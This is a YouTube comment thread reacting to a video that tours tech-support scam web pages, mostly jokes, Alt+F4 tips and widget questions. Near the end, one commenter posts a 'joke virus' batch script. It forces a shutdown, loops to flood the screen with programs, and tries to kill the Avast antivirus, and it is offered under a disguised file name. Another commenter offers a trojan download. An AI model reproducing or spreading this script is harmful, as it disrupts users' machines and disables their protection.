• 0:44 - Hmm, it's almost as if the scammers are inconsiderate and don't care about you. 🤔 Nah, it couldn't be. 🤷 • 1:12 - This one actually some some time and effort put into it. What a shame they did it for crime. 🤦 • 1:18 - It has no contact info because it's a template that the scammer was too not-smart to realize they need to fill out. 🤦 • 1:39 - Browser-makers have to fight between making them usable and not-exploitable. 😒 • 2:08 - You have to call "Microsoft" and pay them with Apple iTunes gift-cards, because logic! 😂 • 2:20 - This one just throwing everything at the wall and hoping something sticks. 🙄 Also, "this window" IS bad; honesty.👍 • 2:30 - For stuff like this, you can usually hold down Alt+F4 or Ctrl+W to close the windows or tabs faster than they can pop back up, but you will probably end up accidentally closing other windows/tabs too. But it's better than force-closing the whole process with the Task Manager. 🤷
Scammers: Haha! We hid your cursor, full screened the browser, and disabled the keyboard! Now call us! Me: ok *presses power button* Scammer: wait that’s illegal
2:02 I mean, they even said “Why we blocked your computer?” when it should say “Why did we block your computer?” Also, Microsoft doesn’t have a capital letter.
My friend: You can't hear pictures. Me: shows him a fake microsoft tech support scam phone number Friend in his mind: halo my name is kyle and im from the IRS and you have got a virus
I'd just like to interject for moment. What you're refering to as Linux, is in fact, GNU/Linux, or as I've recently taken to calling it, GNU plus Linux. Linux is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX.
Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called Linux, and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.
There really is a Linux, and these people are using it, but it is just a part of the system they use. Linux is the kernel: the program in the system that allocates the machine's resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux. All the so-called Linux distributions are really distributions of GNU/Linux!
Speaking about scam support websites I got time ago on a computer messages that said that my pc was infected with the WannaCry ransomeware, I didn't really brlieve since I didn't even get that type of exe and it didn't even say that my files were encrypted, and the message was most of the times the scam microsoft support website like BS, so I did install a stronger antivirus than the standard Microsoft antivirus, installed Avast to reduce those scam messages since I though that would actually give virusses on my opinion.
What would happen if you type the command exit in ms dos mode in Windows 98/95 or in the original Ms dos instead in the cmd which closes the command prompt
Hey! Could you make a video about viruses like Maleware is a type of virus that decriptes your files like showcase types of virus and what they are doing like I know there is Malware and ransomwere i don't know any of the other ones so could you tell me what could destroy my life?
(Pst would get a lot of click and JUICY Youtube MONEY)
Hey! I know u are not gonna see this but worth try. I have lines on my computer LG monitor.Now i dont know what to do? It will not appear at start but as i continue to play it will. Pls help
Anyone give me a link to koteyka 2.0 please Дайте ссылку на koteyka 2.0 пж P.s. enderman why you dont continue updating koteyka? Почему бы тебе не обновить koteyka?
Hey man, if you want to test my joke virus, I didn't let him download it, but this is his name: My computer.bat make a copy and rename it to My computer.exe
"No views" ok I think I'm early
89 likesedit: imagine seeing one of these Windows scam sites but you're using macOS or Linux or whatever
also imagine actually smart scammers
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@Augustin Boyer-VidalAll world "knox" ...seems legit!!
0 likes@@dabigf5 ekhem, i meant: Yup scammers take organizations as a joke.
1 like@@fishyc43sar Yeah, it seems like it.
2 likes@Augustin Boyer-Vidal What! Microsoft owns Ubuntu?? Seems that scammers take organisations as jokes
2 likesAugustin Boyer-Vidal * Microsoft Tech Support *
0 likesWebsite: exists
118 likesalt + f4: i'm going to destroy this man's life
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And Ctrl+W
0 likesDarkPlayer imagine posting a unoriginal comment and not even putting the correct format
0 likesi dint get it
0 likes@@randomperson6002 A life is bigger than a career
0 likes@@JanxZ didn't laugh
1 likealso thats a hella long conversation
1 like@Hack Fung not funny
1 like@@JanxZ for what?
1 like@@System3200 thank u
1 like@@JanxZ wow that was fast
1 like@@System3200 same
1 like@@randomperson6002 ya i got really triggered af
1 likeDarkPlayer no you didnt get the joke its im gonna end this mans whole career
2 likes0:22 the flashing buttons sync to the music (I think)
20 likes• 0:44 - Hmm, it's almost as if the scammers are inconsiderate and don't care about you. 🤔 Nah, it couldn't be. 🤷
5 likes• 1:12 - This one actually some some time and effort put into it. What a shame they did it for crime. 🤦
• 1:18 - It has no contact info because it's a template that the scammer was too not-smart to realize they need to fill out. 🤦
• 1:39 - Browser-makers have to fight between making them usable and not-exploitable. 😒
• 2:08 - You have to call "Microsoft" and pay them with Apple iTunes gift-cards, because logic! 😂
• 2:20 - This one just throwing everything at the wall and hoping something sticks. 🙄 Also, "this window" IS bad; honesty.👍
• 2:30 - For stuff like this, you can usually hold down Alt+F4 or Ctrl+W to close the windows or tabs faster than they can pop back up, but you will probably end up accidentally closing other windows/tabs too. But it's better than force-closing the whole process with the Task Manager. 🤷
0:24 I thought that said "troll-free"
4 likesyeah right
Scammers: Haha! We hid your cursor, full screened the browser, and disabled the keyboard! Now call us!
2 likesMe: ok *presses power button*
Scammer: wait that’s illegal
2:37 why where you looking at floppy disks😂
5 likes2:02 I mean, they even said “Why we blocked your computer?” when it should say “Why did we block your computer?”
7 likesAlso, Microsoft doesn’t have a capital letter.
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Skytrace Ling OFFICIAL yeah, they have broken English. A real support thing would have correct grammar.
0 likesMy friend: You can't hear pictures.
6 likesMe: shows him a fake microsoft tech support scam phone number
Friend in his mind: halo my name is kyle and im from the IRS and you have got a virus
0:59 Youtube Studio Dashboard shown for a second
1 like2:38 Finding some Floppy Disks
This happened in my old high school when someone typed google wrong. Needless to say, all I did was log the account out, log back in and...done.
2 likes0:51 Corretion:"An shitty clone of the smartscreen"
1 likeMicrosoft: exists
1 likeTech Support scammers: It's Free Real Estate
I love your channel because I can use it as a music playlist
2 likesAnd meantime watch some nice content :D
scam site : you 're using a pirated windows
3 likesme (using linux) : wait what?
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I'd just like to interject for moment. What you're refering to as Linux, is in fact, GNU/Linux, or as I've recently taken to calling it, GNU plus Linux. Linux is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX.
0 likesMany computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called Linux, and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.
There really is a Linux, and these people are using it, but it is just a part of the system they use. Linux is the kernel: the program in the system that allocates the machine's resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux. All the so-called Linux distributions are really distributions of GNU/Linux!
2:38 good offer ;D
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2:38 Me: I have VBox to take it slow!
0 likes2:22
0 likesMe:I have pirated doors, man!
Website:uh oh
Generally, you'd just be able to CTRL+W them.
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@@psyclonepman yeah but its stupid af, because you have to pull back your pinky finger. i always rebind it to shift if i can
0 likes@@xaernxd no ctrl w is sprint
0 likes@@xaernxd its gonna sneak
0 likes@@polynngt8853 Shift+W is sprint not CRTL+W
0 likesWhy sprint?
0 likesalt+f4
0 likesYou should call these guys. Get a Skype account without a CC and call a toll free number
1 likeHey dude!! Love ur vids subbed and #bellnotificationsquad
2 likesSpeaking about scam support websites I got time ago on a computer messages that said that my pc was infected with the WannaCry ransomeware, I didn't really brlieve since I didn't even get that type of exe and it didn't even say that my files were encrypted, and the message was most of the times the scam microsoft support website like BS, so I did install a stronger antivirus than the standard Microsoft antivirus, installed Avast to reduce those scam messages since I though that would actually give virusses on my opinion.
1 likeAlternate Title:
2 likesHow to Fail at Killing Your PC
2:10 That's awesome grammar. Probably an Oxford University Student;D
1 likeWhat if Sara Dietschy has an annoying phone call to Microsoft Tech Support?
1 likeHey Enderman ! Cool a new video 😀 Note: it's dark and it's 23:25... WHY A VIDEO AT NIGHT?!
0 likesI got the McAfee one at 2:43. it has happened on my pc
1 likeDiskettes?
1 likeyep, I do
Loop of fullscreen?
0 likesNice
Random User: Enters Website
0 likesWebsite: 0:23
Random User: Calls Tech Support
Tech Support Scammers: Some Hindi Accent of English
It's literally impossible to get any version other than IE11 to run on Windows 10. The second site is a fail.
0 likes16 scammers didn't like this video.
1 likeGood video friend!
0 likesLuckily I have a touch screen computer.
1 likeIf they want to syskey your computer, use Windows 11. It does not have the syskey utility, because it is not supported.
0 likesWhat is that program you use to show the time, battery, volume level, etc. on the desktop throughout the video?
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@Melting Ice. I wanted to know that aswell
0 likesThat is probably Rainmeter with a skin loaded
0 likesYou have $425.79 0:59
2 likesHow did you get the widgets? And nice vid
0 likesDestroying old pc is gone
0 likesOh, no!
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@@malwaretestingfanmy window is broken... Moving to Apple DoorOS
0 likes1:10 “If you have yout computer”
0 likesPlease try and annoy scammers on the phone, a lot of YTers did this it was funny
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@@malwaretestingfan He revealed it to us already at the "Windows CTAC" video.
1 likeIdea: What if you make page file read only?
0 likesThis reminds me of those kids that say my dad Is owner of (enter sucessful company here) and he will ban you
0 likesBest viruses of 2019 year?
3 likesAnother sick video! Liked!
0 likesimportant security message
0 likesMe: eAsY tO eScApE, Alt + F4
1 likeWONDERFUL THIS VIDEO
0 likesYou think its a scam when you see it has toll "free" on it
1 likeGreat vid, Ender!
0 likesFinally he does it. Thanks!
1 likeNice, download?
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Yes
0 likesI have adware, that opens update for Flash
0 likesWhat's the gadget software on the desktop in this video?
1 likeReplies (1)
That's Exactly What I Commented. I Wanted To Know How To Get Gadgets In Windows 10 Cause They Stopped That In Windows 8
0 likesHa! You icon is new!
0 likesHow did you get that cool theme?
0 likesoh no my window :(
0 likesCursor disabled, what to do?
0 likesALT+F4CTRL+SHIFT+ESCCTRL+SHIFT+CANCSwitch to TTY1 and kill the browserPower buttonPower plugMain breakerDEPLOY TACTICAL NUKE
I want a tutorial how to get those widgets!!
1 likeReplies (1)
Here's the link https://win10widgets.com/
0 likesYou should make a video on calling them up
0 likesjust press ctrl+W that closes the tab
0 likes0:00 PERFECT TIMING
1 likeMe getting a scam site: What should i say?
0 likesSystem: DesktopKeepOnToastImg.gif
hi
1 likegud vid
1 likeI was born in a country near India. Luckily scamming is not popular there.
0 likesWhat would happen if you type the command exit in ms dos mode in Windows 98/95 or in the original Ms dos instead in the cmd which closes the command prompt
0 likesI loocked at ur piktur in da eye OMG PS: I know how to type
0 likesHow did you get the Battery, Performance Monitor, Storage and Volume Gadgets On Your Desktop?
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He downloaded this https://win10widgets.com/
0 likesHow you add the battery and clock and volume in desktop ?
0 likescan u do a vid showing a tutorial on how to get all the versions of windows that you're using please.
0 likesHey! Could you make a video about viruses like Maleware is a type of virus that decriptes your files like showcase types of virus and what they are doing like I know there is Malware and ransomwere i don't know any of the other ones so could you tell me what could destroy my life?
0 likes(Pst would get a lot of click and JUICY Youtube MONEY)
renCermanch, your haters keep killing you as i see no upcoming video at all.
1 likeSource of your pfp?
1 likeI love Cheese
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Le Ander92 nice man
0 likesUm... Diskettes?) Really???
0 likesWindows 10 :p ??? Windows 7
0 likesHow to put those left hard drive space charging thing volume and stuff on your desktop
0 likesReplies (1)
Just download this https://win10widgets.com/
0 likesHow to get ot of this situation
1 likePress alt and F4
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IKR
0 likesSomebody SAVE MY W Į Ň Ď Ø W
0 likesHow can I get those widgets in u PC home screen?
0 likesi actually fell for the 4th scam but i saved myself somehow...
0 likesI remember my friend had this once, and I was able to get him out of it by pressing the Windows key XD
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Or windows + d, even if this dosent work then ctrl + windows + d
0 likeswhat is your anti-virus
0 likescough cough alt+f4 cough cough
0 likesHowd you get those widgets of battery and storage ect???
0 likesReplies (1)
He just downloaded this app https://win10widgets.com/
0 likes😄 I get those scams too XDDDDD!!!
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I get the ones like "install this chrome extension" clicks X "you may not leave this website without the addon" dang it!!!
0 likess t a y p a g e
0 likesAh, yes.
0 likesThe classical hindi customer service scam where u can scam the scammer.
Actually the 3rd one is very detailed, cuz they hacked you from undefined, aka bill gates personal computer
What will it happen if you change windows explorer.exe from 7 to vista and see how it happen? That's where I would like to know. =/
0 likesHow did you manage to make the whole user interface dark?
0 likesReplies (1)
settings and enable it
1 likeDeleting User Folders
0 likesAlt+F4 if you stuck at Full Screen
0 likesYa got a decent cpm (for the content) xD
0 likesYou just went here because you thought he was gonna speak with the scammers and troll them
0 likesLike after seeing the vid
0 likespress ctrl+w
0 likesImmediately entered lol
0 likesUse virtual machinę
0 likesMake koteyka 2.1
0 likesHey! I know u are not gonna see this but worth try. I have lines on my computer LG monitor.Now i dont know what to do? It will not appear at start but as i continue to play it will. Pls help
0 likesTasty
0 likesGoOd ThInG i UsE lInUx. No really, it's a good thing.
0 likesПрикольно
1 likeAlt+F4
0 likesOOOOOOOO VERY EARLY
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@@malwaretestingfan you reminded me of WinXP as I used to visit the folder often!
1 likeyou can alt + f4
0 likesdab
Anyone using Linux?
0 likesLink?
0 likes@Enderman could you forgive me plz
0 likesUwU I found Andrew
0 likesEnderman you are the virus mincrosoft
0 likesCtrl alt del
0 likesYou Not Run In VMware You Run In Real Pc
0 likesYour Pc Is Hac
1 likeEnter Detals Her For Tec Suport.
WhutWe Need: Usernam. and pessward
I want to find someone from bilibili（lakidas）
0 likes???
0 likesОтветь пожалуйста, нафига тебе дискеты?
0 likesWow your discord got banned because I didn’t solved a math question wow age verification I said iam 16 they said iam not 16 iam 16 but iam bad in math
0 likesEnglish language too bad i see
0 likesNothing to understand in this video!
0 likesAnyone give me a link to koteyka 2.0 please
0 likesДайте ссылку на koteyka 2.0 пж
P.s. enderman why you dont continue updating koteyka?
Почему бы тебе не обновить koteyka?
Early:)
0 likeswatch tis url -> https://youtu.be/xB51rHVLEDM
0 likeswhy dont you speak?
0 likesScammers Be Like:
0 likesEnder man
0 likesVirus
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Windows password security vs hasspeden 3 years computer nottebok
0 likesAlan
0 likesFaghahs Shshhd
0 likesAlan becker
0 likesNs
Has slender message windows 10 has virus??
0 likesNo has
0 likesNo
0 likes7si to message
0 likesHi
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print("Hi"*3)
0 likesH i
0 likes[=
0 likesHey man, if you want to test my joke virus, I didn't let him download it, but this is his name: My computer.bat
0 likesmake a copy and rename it to My computer.exe
it's a basic so you will probably ignore it ;~;
lines of code:
shutdown -s -f -t: 120 "infected"
:loop
start cmd
start calc
start mspaint
start explorer
start chrome.exe
taskkill / im avast.exe
goto loop
thanks for translator XD
edit:a hug from Brazil!
Do you want try my Troja.Win32.HelloWorld? If yes, I can send download link.
0 likesCouldn't you just alt+f4 out of this garbage
0 likesDude, you should teach your moderators some manners. They SUCK. They don't respect anyone's personality. Remember you posted a bunch of codes and you posted this (😘) emoji? That's where I got banned! Do you know the reason? "Noob and banned for 5 years"! 5 FRICKIN' YEARS! They SUCK! They are acting like idiots! Also, if you are one of the moderators reading this,
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I hate you Enderman. You are the one who banned me. I D I O T.
0 likeslpomij.wertdcfvguhb.cf/hgsahgshfgash
0 likes—_–
0 likessolution to all of the scam pages out there: alt + f4
1 likeAre you Russian or did you just whoosh into Russia with your enderman powers?
0 likesStupid scammers
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